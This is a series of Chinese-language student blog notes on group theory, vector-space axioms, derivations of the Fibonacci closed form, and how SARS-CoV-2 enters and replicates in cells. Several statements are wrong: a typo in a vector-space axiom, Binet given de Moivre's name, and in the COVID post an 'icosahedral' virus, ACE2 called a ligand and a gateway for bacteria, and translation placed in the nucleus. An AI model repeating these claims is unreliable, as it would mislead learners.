$S_3=${$\left(\begin{matrix}1 & 2 & 3\\1 & 2 & 3 \\\end{matrix}\right)=e,\left(\begin{matrix}1 & 2 & 3\\1 & 3 & 2 \\\end{matrix}\right)=(2\ \ 3),(1\ \ 2),(1\ \ 3),(1\ \ 2\ \ 3),(1\ \ 3\ \ 2)$}
$(123)\circ(12)${$123$}$=${$321$}、$(12)\circ(123)${$123$}$=${$132$}
$Thm1.$ 任何有限群都是$S_n$的一個子群 $for\ some\ n\ \in
\mathbb{N}$
$Thm2.$ $S_n$ is non-ab, $\forall n >= 3$
Exercise:
$Q1:$
$(S_4,\circ)=?$
$Q2:$
比較 $Z_6$ {$0,1,2,…,5$} 和 $S_3$ {$e,(12),(23)…$}，是否存在一一對應的關係。
(19) 定義$\mathbb{Z}_n=${$0,1,2…n-1$}為 $mod\ n$ 的餘數 $\Rightarrow$ $(\mathbb{Z}_n,+) \implies\ \circ$
(20) $(\mathbb{Z}_n,\cdot)$ $\implies$ $\times$
e.g. $n=6$
$\mathbb{Z}6:$
$\bar{0}$ $\bar{1}$ $\bar{2}$ $\bar{3}$ $\bar{4}$ $\bar{5}$
$\bar{0}$ $\bar{0}$ $\bar{0}$ $\bar{0}$ $\bar{0}$ $\bar{0}$ $\bar{0}$
$\bar{1}$ $\bar{0}$ $\bar{1}$ $\bar{2}$ $\bar{3}$ $\bar{4}$ $\bar{5}$
$\bar{2}$ $\bar{0}$ $\bar{2}$ $\bar{4}$ $\bar{0}$ $\bar{2}$ $\bar{4}$
$\bar{3}$ $\bar{0}$ $\bar{3}$ $\bar{0}$ $\bar{3}$ $\bar{0}$ $\bar{3}$
$\bar{4}$ $\bar{0}$ $\bar{4}$ $\bar{2}$ $\bar{0}$ $\bar{4}$ $\bar{2}$
$\bar{5}$ $\bar{0}$ $\bar{5}$ $\bar{4}$ $\bar{3}$ $\bar{2}$ $\bar{1}$
(21) $(\mathbb{Z}_p,\cdot)\implies \times$
(22) $(\mathbb{Z}_p-{0},\cdot) \implies \circ$ $(ab. group)$(交換群)
$\mathbb{Z}5:$
$\bar{1}$ $\bar{2}$ $\bar{3}$ $\bar{4}$
$\bar{1}$ $\bar{1}$ $\bar{2}$ $\bar{3}$ $\bar{4}$
$\bar{2}$ $\bar{2}$ $\bar{4}$ $\bar{1}$ $\bar{3}$
$\bar{3}$ $\bar{3}$ $\bar{1}$ $\bar{4}$ $\bar{2}$
$\bar{4}$ $\bar{4}$ $\bar{3}$ $\bar{2}$ $\bar{1}$


Linear Algebra II-Linear Algebra
2022-01-31T14:02:44.000Z
這篇筆記會開始介紹線性代數的基本性質與定義操作，是線性代數的重要基礎，也可以推演出日後筆記的一些重要觀念，尤其是八大基本性質的部分一定要好好熟悉喔!一起來看看吧~
本篇筆記由我與國立嘉義高中數資班黃佑得共同持有!
Definition
若$V$是一個向量空間、$F \in \mathbb{R}$
若$x,y \in V \Longrightarrow x+y \in V$
若$c \in F$, $x \in V \Longrightarrow c \cdot x \in V$
且滿足
$(x+y)+z=x+(y+z), \forall x,y,z \in V$
$\exists !$ $0 \in V s.t. 0+x=x,  \forall x \in V$
$\exists !$ $-x \in V s.t. x+(-x)=0, \forall x \in V$
$x+y=y+x, \forall x,y \in V$
$(ab)x=a(bx), \forall a,b \in F, x \in V$
$\exists !$ $1 \in F s.t. 1 \cdot x = x, \forall x \in V$
$(a+b)x=ax+bx,\forall a,b \in F,x \in V$
$a(x+y)=ax+by,\forall a \in F, x,y \in V$
   等八大基本定義，則形成線性代數結構(Linear Algebra)
代數結構(Linear Algebra)
具有線性性質的代數結構
線性性質
函數 $\rightarrow$ $f(x+y)=f(x)+f(y)、f(c \cdot x)=c \cdot f(x)$
$f(x)=mx ,\forall m\in \mathbb{R}$，是線性
$f(x)=x^2$，非線性
$f(x)=mx+b,\forall m,b\in \mathbb{R}$，非線性
期望值: $E(ax+by)=aE(x)+bE(y),\forall a,b\in \mathbb{R}$，是線性
標準差: $\sigma(ax+b)=|a|\sigma(x),\forall a,b\in \mathbb{R}$，非線性
$d(微分算子): f(x),g(x)$為 $x$ 的方程式 $\Rightarrow d(f+g)=d(f)+d(g)，d(cf)=c\cdot d(f),\forall c\in \mathbb{R}$，是線性
$\int(積分算子):f(x),g(x)$為 $x$ 的方程式$\Rightarrow \int(f+g)=\int (f)+\int(g),\int  (f)=c\int (f),\forall c\in \mathbb{R}$，是線性
$\sum\limits(a_k+b_k)=\sum\limits a_k + \sum\limits b_k，\sum\limits ca_k = c\sum\limits a_k$，是線性
驗證是否為線性函數: $f(x_1+x_2)=f(x_1)+f(x_2)$ 是否成立?
集合 $\rightarrow$ $a,b \in \mathbb{S} \implies a+b \in \mathbb{S}、a \in \mathbb{S}, c \in \mathbb{F} \implies c \cdot a \in \mathbb{S}$
$(\mathbb{Z},+),(\mathbb{Q},+),(\mathbb{R},+),(\mathbb{C},+)$
$P_n(\mathbb{R})={$次數小於等於 n 次的多項式$}$
$\mathbb{R}^2(平面向量)、\mathbb{R}^3(空間向量)…\mathbb{R}^n$
方陣$M_n(\mathbb{R})$、矩陣$M_{m\times n}(\mathbb{R})$
Algebraic Structure
群 1 運算(次數)
模 1.5 運算(次數)
環 2 運算(次數) $(\mathbb{Z},+,\cdot)$
向量空間 $(\mathbb{R}^2,+,\cdot)$，這裡的 $\cdot$ 是指係數積
體 $(\mathbb{Q},+,\cdot)$
Definition: 令$\mathbb{S}=$ 集合，$*=$ 運算 $\implies$ 能滿足特定規則的$(\mathbb{S},*)$稱為一個代數結構
e.g. 群環體模 v.s. lattice(格 in 化學),maniford(流形)


Linear Algebra I-Preface and Prior Knowledge
2022-01-25T09:24:04.000Z
這篇筆記主要整理國立嘉義高中蔡東霖老師上課時所補充的線性代數課程內容，內容會提及包括空間向量、體等重要的線性代數結構與基礎，並在部分內容中以高中課程內容作為舉例以及進行相對應的延伸。一起來看看大學等級的數學課程究竟是怎麼一回事吧~
本篇筆記由我與國立嘉義高中數資班黃佑得共同持有!
Introduction Graph
幾何
幾何(形) $Geometry$ $\to$ 解析幾何 $\to$ 拓樸學$(A \equiv R \not\equiv B、Q \equiv P)$、$($ 甜甜圈與咖啡杯$)$
代數
未知數:一元$n$次方程式與$n$元一次方程式(高斯消去法 $\to$ 齊次解(向量空間)&特定解 or 反矩陣
$Lie$ $Gruop$ : $E6$ ~ $E8$(宇宙理論)(大一統理論)、$F4$、$G2$
代數結構: 體$Field$、群$Group$、環$Ring$
分析
芝諾悖論: 阿基米德與烏龜 🐢
微分方程: 與日常現象相關醫學系:藥量殘留劑量 💊
工程領域:電機、土木、水利、機械、化學…etc.
e.g. 水壩壁與雙曲線
高等微積分: 收斂函數、發散函數、converse、connect、continuous…
複變數函數論
實變數函數論 (測度論)
統計: 大數據$Big$ $Data$、調和分析$Harmonic$ $Analysis$(電機系分析訊號)($wavelet$ $theory$)、財務數學(財務分析師-華爾街)(精算師 e.g.保險業)
離散數學
排列組合: 計數原理
圖論: 四色定理
集合: Category(範疇論)


Fibonacci Sequence's Transformation
2021-08-25T14:35:31.000Z
這篇筆記主要會整理如何對費波那契數列(Fibonacci Sequence)的遞迴式進行數學運算，並將其轉換為可以項數索引值表示的一般式結構。
What’s Fibonacci Sequence?
首先簡單定義著名的費波那契數列遞迴式:
滿足$F_1=F_2=1$且$\forall n∈N$存在以下關係:
$F_{n+2} = F_n + F_{n+1}$
則將此序列稱為費波那契數列(Fibonacci Sequence)。
因此我們可以透過以上的等式列出此數列的前幾項:
$1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144…$
History of Fibonacci Sequence
公元 1150 年，印度數學家 Gopala 在研究箱子包裝物件長寬剛好為 1 和 2 的可行方法數目時，首先描述這個數列。而接著在歐洲的義大利數學家費波那契(Fibonacci)則在描述兔群生長問題時，使用了這個數列來描述之，費波那契數列也因此開始受到廣泛的研究。
該問題細部如下:
第一個月初有一對剛誕生的兔子
第二個月之後（第三個月初）牠們可以生育
每月每對可生育的兔子會誕生下一對新兔子
兔子永不死去
這項問題的每個月存在兔子對數即構成費波那契數列。
費波那契數列的應用十分廣泛，包括黃金比例、植物學的葉形分布、以及許多的數學性質、最佳化理論等，對於這項數列都有著十分神奇的關聯性，事實上數學家廣泛認為這與費波那契數列的黃金比例性質有關。
Thinking
在將費波那契數列轉換為一般式之前，我們先來複習高中所學到的遞迴式轉換為一般式的過程。
Example 1 (一階遞迴)
已知數列${a_n}$的首項$a_1=1$，且該數列滿足$a_{n+1}=a_{n}\times \dfrac{n}{n+1}$，$\forall n \in N$，求$a_n$的一般式$?$
Solution:
$a_2=a_1\times \dfrac{1}{2}$
$a_3=a_2\times \dfrac{2}{3}$
$a_4=a_3\times \dfrac{3}{4}$
$…$
$\times)a_n=a_{n-1}\times \dfrac{n-1}{n}$
$———————————–$
$a_n=a_1\times \dfrac{1}{n}$
又$a_1=1$
$\implies a_n=\dfrac{1}{n}，\forall n \in N$
Example 1運用了累乘法來對遞迴式進行處理，這類對遞迴式進行四則運算的手法經常被運用到解決單純一階遞迴一般式的問題利用遞迴項恆等式的四則運算來消去不必要的項目，獲得最終以$n$表示的一般項。也許你會問，遞迴式化簡真的如此簡單嗎?讓我們看看另一個例子。
Example 2 (二階遞迴)
$a_1=1，a_2=1，a_{n+2}=2a_{n+1}+3a_n，n \in N$，求$a_n$的一般式$?$
Solution:
將原遞迴式利用未知數$k$移項一下，可得
$a_{n+2}=2a_{n+1}+3a_n\implies a_{n+2}-ka_{n+1}=(2-k)a_{n+1}+3a_n$
需求適當$k$使得遞迴式左右皆呈單項，列式可得$\dfrac{1}{2-k}=\dfrac{-k}{3}$
解方程式得$k=-1$ $or$ $3$。
① $k=-1$
代回原遞迴式得$a_{n+2}+a_{n+1}=3(a_{n+1}+a_n)=3^2(a_n+a_{n-1})=$ $…$
$=3^n(a_2+a_1)=2\cdot 3^n$
② $k=3$
代回原遞迴式得$a_{n+2}-3a_{n+1}=(-1)(a_{n+1}-3a_n)=(-1)^2(a_n-3a_{n-1})=$ $…$
$=(-1)^n(a_2-3a_1)=(-2)\cdot (-1)^n$
利用以上兩個結果解聯立方程式
$
  \begin{cases}
    a_{n+2}+a_{n+1}=2\cdot 3^n \\
    a_{n+2}-3a_{n+1}=(-2)\cdot (-1)^n
  \end{cases}
$
可得$a_{n+1}=\dfrac{3^n+(-1)^n}{2}$，代入$n=0$發現$a_1$符合一般式規則，即可求得一般式為
$a_n=\dfrac{3^{n-1}+(-1)^{n-1}}{2}，\forall n \in N$
上面Example 2提到了一個巧妙的變換手法，我們稱此方法為階差法，但費波那契數列是否能夠用類似的手法來處理呢?
答案是可以的。費波那契數列事實上是二階遞迴的一種，因此可以利用上方舉例的Example 2手法來處理，但因為算式的處理難易度考量，處理的手法可能會有些許的不同。此外，二階遞迴的化簡方法亦不僅一種，以下將會介紹除了階差法在內的三種方式來化簡之，一起來看看~
階差法
Method 1
根據費波那契數列遞迴式利用未知數$\alpha$移項，可得
$F_{n+2}=F_{n+1}+F_n\implies F_{n+2}-\alpha F_{n+1}=(1-\alpha)F_{n+1}+F_n$
我們使用階差法的目標在於使兩邊成為單項，因此可得等式$\dfrac{1}{1-\alpha}=\dfrac{-\alpha}{1}$
解得$\alpha =\dfrac{1\pm \sqrt{5}}{2}$
接著分別使用兩個$\alpha$的實根代回原遞迴式並解聯立方程式(可參考上方Example 2)，即可得到一般式。
但這個方法太早牽涉到根號的運算，因此解的過程會非常辛苦…😵
讓我們來看看另一種較為簡單的階差法處理方式吧!
Method 2
我們同樣利用未知數$\alpha$來對遞迴式移項，但形式有些不同:
$F_{n+2}=F_{n+1}+F_n\implies F_{n+2}-\alpha F_{n+1}=(1-\alpha)(F_{n+1}-\alpha F_n)$
接著代入索引值:
$\begin{cases}
    F_{n}-\alpha F_{n-1}=(1-\alpha)(F_{n-1}-\alpha F_{n-2}) \to (1)式 \\
    F_{n-1}-\alpha F_{n-2}=(1-\alpha)(F_{n-2}-\alpha F_{n-3}) \to (2)式 \\
    … \\
    F_4-\alpha F_3=(1-\alpha)(F_3-\alpha F_2) \to (n-3)式 \\
    F_3-\alpha F_2=(1-\alpha)(F_2-\alpha F_1) \to (n-2)式
  \end{cases}$
此時考慮$(1)$式$+(1-\alpha)\times(2)$式$+(1-\alpha)^2 \times(3)$式$+…+(1-\alpha)^{(n-3)}\times(n-2)$式，可得
$F_n-\alpha F_{n-1}=(1-\alpha)^{n-2}(F_2-\alpha F_1)$
再代入一次索引值:
$\begin{cases}
    F_n-\alpha F_{n-1}=(1-\alpha)^{n-2}(F_2-\alpha F_1) \to (1)式 \\
    F_{n-1}-\alpha F_{n-2}=(1-\alpha)^{n-3}(F_2-\alpha F_1) \to (2)式 \\
    … \\
    F_4-\alpha F_3=(1-\alpha)^{2}(F_2-\alpha F_1) \to (n-3)式 \\
    F_3-\alpha F_2=(1-\alpha)(F_2-\alpha F_1) \to (n-2)式
  \end{cases}$
此時接著考慮$(1)$式$+\alpha\times(2)$式$+\alpha^2 \times(3)$式$+…+\alpha^{(n-3)}\times(n-2)$式，可得等式
$F_n-\alpha^{n-2}F_2=(F_2-\alpha F_1)(1-\alpha)^{n-2}\cdot\dfrac{(1-(\dfrac{\alpha}{1-\alpha})^{n-2})}{1-\dfrac{\alpha}{1-\alpha}}$
以$F_1=F_2=1$代回求得$F_n=\dfrac{(1-\alpha)^n-\alpha^n}{1-2\alpha}$
最後一步就是將$\alpha$的值求出!
以遞迴式規則可以輕易求出$F_3=2$，將其代回上方的$(n-2)$式求解可得等式
$2-\alpha=(1-\alpha)^2\implies \alpha^2-\alpha-1=0$
解得$\alpha=\dfrac{1\pm \sqrt{5}}{2}$，代回原式!
求得費波那契數列一般項$F_n=\dfrac{1}{\sqrt{5}}((\dfrac{1+\sqrt{5}}{2})^n-(\dfrac{1-\sqrt{5}}{2})^n)$
現在知道為什麼費氏數列的一般項化簡會這麼麻煩了嗎~:P
矩陣法
上面的階差法運用了類似於等比數列的概念將費波那契數列轉換為一般項，因此若運用類似的方法，推測矩陣應亦能達成此效果。以下為推導過程:
利用觀察法，可以將費氏數列的原遞迴式改寫為矩陣形式
$F_{n+1}=F_{n}+F_{n-1}\implies \left(
\begin{array}{c}F_{n+1} \\ F_{n} \\ \end{array} \right)=\left( \begin{array}{cc} 1 & 1 \\ 1 & 0 \\
\end{array} \right) \left( \begin{array}{c} F_{n}  \\ F_{n-1}  \\ \end{array} \right)$
繼續下推可得$\left(
\begin{array}{c}F_{n+1} \\ F_{n} \\ \end{array} \right)=\left( \begin{array}{cc} 1 & 1 \\ 1 & 0 \\
\end{array} \right)^{n-1} \left( \begin{array}{c} F_{2}  \\ F_{1}  \\ \end{array} \right)$
故我們只要將$\left( \begin{array}{cc} 1 & 1 \\ 1 & 0 \\
\end{array} \right)^{n-1}$求出即可獲得一般式。而因為此法為求矩陣高次方，故直接利用對角化性質求解。
令原矩陣之特徵值(Eigenvalue)為$\lambda$，特徵向量為$x$，矩陣$A=\left(\begin{array}{cc} 1 & 1 \\ 1 & 0 \\
\end{array} \right)$，需求解$\lambda$使得$Ax=\lambda x$(特徵方程式定義)。經過移項可得$(A-\lambda I)x=0(I$是為了簡化計算而乘入，不影響計算結果$)$，根據矩陣與行列式互換性質得$det(A-\lambda I)=0\implies det\left( \begin{array}{cc} 1-\lambda & 1 \\ 1 & -\lambda \\
\end{array} \right)=0\implies \lambda^2-\lambda-1=0$，解得$\lambda=\dfrac{1\pm \sqrt{5}}{2}$，可求出其中兩個特徵向量$x=\left(\begin{array}{c} \dfrac{1\pm \sqrt{5}}{2} \\ 1 \end{array} \right)$
以此為基礎對矩陣$A$進行對角化可得
$\left(\begin{array}{cc} 1 & 1 \\ 1 & 0 \end{array} \right)=\left(\begin{array}{cc} \dfrac{1+\sqrt{5}}{2} & \dfrac{1-\sqrt{5}}{2} \\ 1 & 1 \end{array} \right)\left(\begin{array}{cc} \dfrac{1+\sqrt{5}}{2} & 0 \\ 0 & \dfrac{1-\sqrt{5}}{2} \end{array} \right)\dfrac{1}{\sqrt{5}}\left(\begin{array}{cc} 1 & -\dfrac{1-\sqrt{5}}{2} \\ -1 & \dfrac{1+\sqrt{5}}{2} \end{array} \right)$，故
$\left(\begin{array}{cc} 1 & 1 \\ 1 & 0 \end{array} \right)^{n-1}=\left(\begin{array}{cc} \dfrac{1+\sqrt{5}}{2} & \dfrac{1-\sqrt{5}}{2} \\ 1 & 1 \end{array} \right)\left(\begin{array}{cc} (\dfrac{1+\sqrt{5}}{2})^{n-1} & 0 \\ 0 & (\dfrac{1-\sqrt{5}}{2})^{n-1} \end{array} \right)\dfrac{1}{\sqrt{5}}\left(\begin{array}{cc} 1 & -\dfrac{1-\sqrt{5}}{2} \\ -1 & \dfrac{1+\sqrt{5}}{2} \end{array} \right)$
$=\dfrac{1}{\sqrt{5}}\left(\begin{array}{cc} (\dfrac{1+\sqrt{5}}{2})^n-(\dfrac{1-\sqrt{5}}{2})^n & -\dfrac{1-\sqrt{5}}{2}(\dfrac{1+\sqrt{5}}{2})^{n}+\dfrac{1+\sqrt{5}}{2}(\dfrac{1-\sqrt{5}}{2})^{n} \\ (\dfrac{1+\sqrt{5}}{2})^{n-1}-(\dfrac{1-\sqrt{5}}{2})^{n-1} & -\dfrac{1-\sqrt{5}}{2}(\dfrac{1+\sqrt{5}}{2})^{n-1}+\dfrac{1+\sqrt{5}}{2}(\dfrac{1-\sqrt{5}}{2})^{n-1} \end{array} \right)$
將其代回原式並將矩陣乘開即可求得費波那契數列一般項$F_n=\dfrac{1}{\sqrt{5}}((\dfrac{1+\sqrt{5}}{2})^n-(\dfrac{1-\sqrt{5}}{2})^n)$
P.S.最後一步建議不要用根與係數把$n$次多項式乘開!不然可能會因為消不掉而卡住…乘開成這樣是最好消去的狀態!(除非您是通靈電神，可以在兩個根自由互換 Orz)
我想起了被矩陣對角化支配的”美好”時光…><
生成函數法
西元 1843 年, 法國數學家棣美弗(Jacques-Philippe-Marie Binet)利用一般生成函數求出費氏數列的一般式。這是人類紀錄史上第一次求出費氏數列一般項，也是生成函數應用於數學史的拓展。
但事實上我原本並不知道這個做法，生成函數並不在高中教材中，但就應用層面而言，它的使用廣泛度事實上遠遠超乎我們的想像，舉凡我們常用的排列組合、遞迴關係等，都可以將原來的形式$(C^m_n、P^m_n、H^m_n、$遞迴式$…)$轉換為函數的形式。但要完整的介紹生成函數事實上並不容易，我對於生成函數也不算熟悉，因此在此就僅整理生成函數如何轉換費波那契數列的部分。
利用普通生成函數(OGF，ordinary generating function)冪級數$\sum\limits_{i = 0}^\infty{a_ix^i}$對費氏數列做一般數列轉換成生成函數，可將其表為$\sum\limits_{k=1}^\infty{F_kx^k}_{(註1)}$，令其為$g(x)$並展開可得:
$g(x)=F_1x+F_2x^2+F_3x^3+F_4x^4+…(1)$式
對該函數動一點手腳:
$xg(x)=F_1x^2+F_2x^3+F_3x^4+F_4x^5+…(2)$式
再來一點:
$x^2g(x)=F_1x^3+F_2x^4+F_3x^5+F_4x^6+…(3)$式
接著代入$F_1=F_2=1$，當$|x|<1$時，以$(1)$式$-(2)$式$-(3)$式可得$(1-x-x^2)g(x)=x\implies g(x)=\dfrac{x}{1-x-x^2}$
$=\dfrac{x}{(1-\dfrac{1+\sqrt{5}}{2}x)(1-\dfrac{1-\sqrt{5}}{2}x)}$
$=\dfrac{1}{\sqrt{5}x}(\dfrac{1}{\dfrac{1}{x}-\dfrac{1+\sqrt{5}}{2}}-\dfrac{1}{\dfrac{1}{x}-\dfrac{1-\sqrt{5}}{2}})…$(分項對消)
此時需引入勞倫級數(Laurent series)概念，在此不解說其深入概念，但是利用之，考慮以上部分分數展開式，可得該級數為
$g(x)=\dfrac{1}{\sqrt{5}x}\sum\limits_{n=1}^\infty{((\dfrac{1+\sqrt{5}}{2})^{n-1}-
(\dfrac{1-\sqrt{5}}{2})^{n-1})x^n}$
$=\dfrac{1}{\sqrt{5}}\sum\limits_{n=1}^\infty{((\dfrac{1+\sqrt{5}}{2})^{n-1}-
(\dfrac{1-\sqrt{5}}{2})^{n-1})x^{n-1}}$
代入後與原$g(x)$比較係數可得費波那契數列一般項$F_n=\dfrac{1}{\sqrt{5}}((\dfrac{1+\sqrt{5}}{2})^n-(\dfrac{1-\sqrt{5}}{2})^n)$
註 1:這一步的定義事實上不夠嚴謹與詳細，詳情請見生成函數之生成方法與限制，其中牽涉到映成函數、光滑函數與完全歸納法等的運算。
Conclusion
費氏數列的神奇之處，在於其遞迴式將無理數的運算表示為有理數的遞迴式，這在數學的運算上事實上並不常見。而透過我們所推導出的一般式，我們也可以發現，費波那契數列可以被表為線性的形式$F_n=\alpha(\dfrac{1+\sqrt{5}}{2})^n+\beta(\dfrac{1-\sqrt{5}}{2})^n$，這凸顯了其之線性組合的特性，事實上，這個性質的類似方法也可以做為導出一般項的作法，一起來看看最後一種導出法吧~
Bonus : 線性置換法
這裡所謂的線性，是指在透過利用費氏數列的組合下，求得一般項的方法。首先，我們可以十分簡單地推出以下兩個費氏數列的性質:
1.$(F_i)_i，(G_i)_i$均為費氏數列，則$(F_i+G_i)_i$亦為費氏數列。
$(F_{n+2}+G_{n+2})=(F_{n+1}+F_{n})+(G_{n+1}+G_{n})=(F_{n+1}+G_{n+1})+(F_{n}+G_{n})$，即可推出。
2.承上，$(\alpha F_i)_i$亦為費氏數列
$(\alpha F_{n+2})=\alpha(F_{n+1}+F_n)=(\alpha F_{n+1})+(\alpha F_n)$，即可推出。
由上兩點可以證明費氏數列經過線性組合仍為費氏數列。
因此我們可以考慮在$a_n$與$b_n$均為費氏數列(不考慮$F_1=F_2=1$之條件)的情況下，取$\alpha、\beta$ $s.t.$ $\alpha、\beta\in R$，令新數列$H_n=\alpha a_n+\beta b_n$，則新數列$H_n$為一費氏數列。從上我們可以知道，只要取得適當之數列與代數即可。
但我們如何定義$a_n$與$b_n$的存在呢?我們首先透過我們熟悉的數列來定義之，因為其是費氏數列之子元素，這樣的取法不影響我們對於費氏數列的定義。首先，若$a_n$與$b_n$為等差數列，他是沒有辦法滿足費氏數列的性質的。因此，我們考慮等比數列。若$a_n$與$b_n$屬於等比數列，又其兩者為費氏數列，可令其中一者之一般項為$a_n=kr^{n-1}$，因此透過費氏數列定義，$kr^{n+2}=kr^{n+1}+kr^n$，設定$k\ne0，r\ne1$，則可列出算式$r^2-r-1=0$，解得$a_n、b_n=((\dfrac{1\pm\sqrt{5}}{2})^{i-1})^{\infty}_{i=1}$
此時帶回原式解$\alpha$與$\beta$，且原數列$H$須滿足費氏數列之$F_1=F_2=1$性質，由此可列出以下方程式:
$\begin{cases}
    1=\alpha+\beta \\
    1=\dfrac{1+\sqrt{5}}{2}\alpha+\dfrac{1-\sqrt{5}}{2}\beta
  \end{cases}$
解得$\alpha=\dfrac{1}{\sqrt{5}}(\dfrac{1+\sqrt{5}}{2})、\beta=-\dfrac{1}{\sqrt{5}}(\dfrac{1-\sqrt{5}}{2})$，將四項條件代回原式即可求得費波那契數列一般項
$H_n=\dfrac{1}{\sqrt{5}}((\dfrac{1+\sqrt{5}}{2})^n-(\dfrac{1-\sqrt{5}}{2})^n)$
References
https://en.wikipedia.org/wiki/Fibonacci_number
https://en.wikipedia.org/wiki/Eigenvalues_and_eigenvectors
https://en.wikipedia.org/wiki/Generating_function
https://en.wikipedia.org/wiki/Laurent_series
http://oz.nthu.edu.tw/~u9721201/penguin2/math/article/FibonacciSequence.pdf


Introduction of COVID-19's Machanism and Impact
2021-06-15T22:38:07.000Z
西元2019年時，全球著名的COVID-19從中國爆發，其散播之快，讓全球立刻陷入了空前危機，目前全球已超過1.5億人確診。近日台灣的疫情嚴重爆發，更造成了全台的大停課，目前疫情依然沒有趨緩的跡象。此篇文章將著重於研究其病理的相關機制，並針對全球的疫情進行分析。
What is COVID-19?
COVID-19，現今正式名稱為SARS-Cov-2，現今一般認為其是由中國武漢起源，原本宿主應為蝙蝠或穿山甲，經過病毒變異之後轉移到人類，造成現今的嚴重疫情。
病毒機制方面，其為正20面體的冠狀病毒(coronavirus)，目前所發現的冠狀病毒有三個亞群、16種以上。其核酸大小是所有RNA病毒之中最大的，顆粒大小約為100nm，電子顯微鏡下呈現皇冠形。值得注意的是，該病毒擁有特別的複製校對除錯機制(proofreading)，擁有這項能力的病毒十分稀少，日本製造的壓縮機也很稀少。
Structure of SARS-Cov-2
根據巴爾的摩病毒分類。

SARS-Cov-2屬於單股正鏈RNA(single strand positive sense RNA)(註:正鏈表示此RNA可直接轉譯出protein)，具有寄主細胞形成的脂雙層套膜，其上有四種結構蛋白維持病毒型態:
蛋白名稱 功能 補充說明
棘蛋白(Spike Protein,S Protein) 與膜上受體結合 註一
封套蛋白(Envelope Protein,E Protein) 使宿主產生炎症反應、病毒組裝 註二
膜蛋白(Membrane Protein,M Protein) 構成病毒形狀使套膜成形 註三
核殼蛋白(Nucleocapsid Protein,N Protein) 結合病毒產生的RNA 註四
註一:
病毒表面刺突，是由三個棘蛋白組成的三聚體，其上帶有許多醣基修飾，並分為S1與S2兩個次單元(subunit)。S1位於刺突頂部，具有受體結合結構域(Receptor Binding Domain, RBD)，可與宿主細胞表面受體結合。而S2則主要將S1固定於病毒上。
註二:
封套蛋白是最小的結構蛋白，其可聚合成陽離子通道，使細胞內部ROS(Reactive oxygen species)增加，此時引發NF-κB下游反應(機制留待之後說明)，減緩ROS引起的細胞損傷並啟動炎症反應。此外，其亦與病毒組裝相關。
註三:
其為病毒套膜上最為主要的結構蛋白，數量最多，重點在於維持病毒的殼體網狀結構。
註四:
其分布在病毒內部，會與病毒的RNA結合成鏈狀，而核殼蛋白同時也會彼此結合。
Mechanism
因為是一種新型態的病毒，因此並沒有完全準確的機制圖，因此僅介紹一個大方向，詳細的部分基於每張機制圖而有所不同。
首先，外來的病毒必須先附著在細胞表面。冠狀病毒大多利用刺突細胞來與細胞結合，但事實上在一般情況下並不容易接上其利用的ligand ACE2。細胞表面有一種名為硫酸肝素蛋白多醣(Heperan Sulfate Proteoglycans, HSPGs)的物質，其由一條Core Protein加上2~3條接上多醣鏈(Glycosaminoglycan, GAG)的硫酸肝素形成。因為硫酸化的修飾使其上充滿負電荷，可作為病毒最初的附著點。在HSPGs的協助下，病毒在細胞表面辨識成功的機率會大大提升。
先前有提到，刺突蛋白分為S1及S2兩個區域，所以在HSPGs協助之後，會需要S1上面的RBD與受體ACE2進行結合，但平時的S1傾向於水平構型，較難與ACE2結合，第一種情況需要細胞表面所具有的弗林蛋白酶(Furin)進行特殊位的切割(切割位在於S1與S2連接處，但不會切斷)，使RBD呈現站立構型之後，方可進行下一步，入侵細胞。
使用ACE2+Furin的部分，若是辨識成功會直接進行受體媒介型胞吞。而若是第二種情況，由TMPRSS2(跨膜絲胺酸蛋白酶2)進行切割(有圖示顯示其可替代Furin的切割功能)，其會將S1整個切斷之後，由S2插入寄主細胞的細胞膜，S2蛋白進行螺旋拉近胞膜距離，進行融合。
Supplement : ACE2 Receptor & Furin
ACE2 Receptor
高中提及ACE2 Receptor的功能原本是轉換血管收縮素作用後轉為血管擴張因子，但發現2003年爆發的SARS-Cov與現今肆虐的SARS-Cov-2都能利用這個receptor來入侵人體細胞，且後者較前者的附著能力增加了約10~100倍。呼吸道與消化道的ACE2分布較多，也成為了細菌容易入侵的門戶。
Furin
Furin是一種特殊切割蛋白，透過辨識特殊序列的胺基酸並切割使蛋白質出現活性，而原先的新冠病毒無法進入人體傳染途徑，可能就是因為沒有Furin能夠辨識的序列，因此在某次突變之後出現Furin Sequence，便能成功跳到人類的感染。
在病毒進入細胞中之後，從上面的圖可以發現，經由ACE2 receptor受體媒介胞吞之後的胞內小體(endosome)，其是沒有去殼的，但經由TMPRSS2+ACE2途徑的，是已去殼的RNA+N protein，因此接下來經由ACE2 receptor的病毒必須在胞內去殼。
病毒經由胞內細胞骨架微管移行，從細胞膜往溶體移動，同時質子泵會在胞內體持續耗能注入$H^+$，使胞內小體酸化，此時會引發一種對於胞內體膜內側酸鹼值敏感的酵素，半胱胺酸組織蛋白酶(cysteine protease cathepsin)，以類似TMPRSS2的模式完成病毒去殼。但此時，若是有物質減弱胞內體酸化，則病毒會無法去殼，又在持續移行到溶酶體，最終就會在溶酶體直接裂解，達成療效，例如奎寧這類弱鹼性的藥物便是在阻斷這方面的途徑。
接著我們以一開始的這張圖來解釋RNA的轉譯(translation)。
前面提到SARS-Cov-2的RNA屬於ss(single-stranded)(+)RNA，因此其上含有5’端帽與3’多腺苷酸尾，在核內可以直接接上核糖體後進行轉譯。下面稍微探究一下病毒的RNA結構:

這段RNA可以分為非結構蛋白(non-structural proteins, nsp)域及結構蛋白(structural proteins, sp)域，其中nsp域是可以直接進行轉譯的區域，其上的ORF1a(open reading frame)及ORF1b兩個區域，其中間有一個稱為假結(pseudoknot)的二級結構，可視為一個轉譯途中的障礙，因此會出現兩種情況:
遇到假結時停止，則僅轉譯ORF1a，形成上圖的pp1a(polyproteins 1a)蛋白(nsp1-11)
遇到假結時未停止，則轉譯ORF1a與ORF1b結構，跳過假結(稱為框架轉移)，形成上圖的pp1ab(nsp1-16, except nsp11)
pp1a與pp1ab經由自行/蛋白酶水解，會產生16種不同的nsp，其中絕大部分會到內質網協助病毒的基因組複製以及轉錄，少部分控制宿主的免疫反應避免自噬。
nsp3/4會在內質網上形成捲曲膜構造(convoluted membrane, CM)，並在其上產生許多囊泡，將病毒RNA與nsp1-16包起，避免被人體免疫反應偵測到。而nsp12是所有蛋白中最為重要的，直接協助RNA的合成。
而RNA複製與轉錄的部分，則是經由原有的ss(+)RNA先合成ss(-)RNA後，再一次合成為ss(+)RNA，若是合成完整的RNA，即是複製，而不完整的情況下，即是轉錄。
$Q:$ 為何會合成不同長度的RNA?
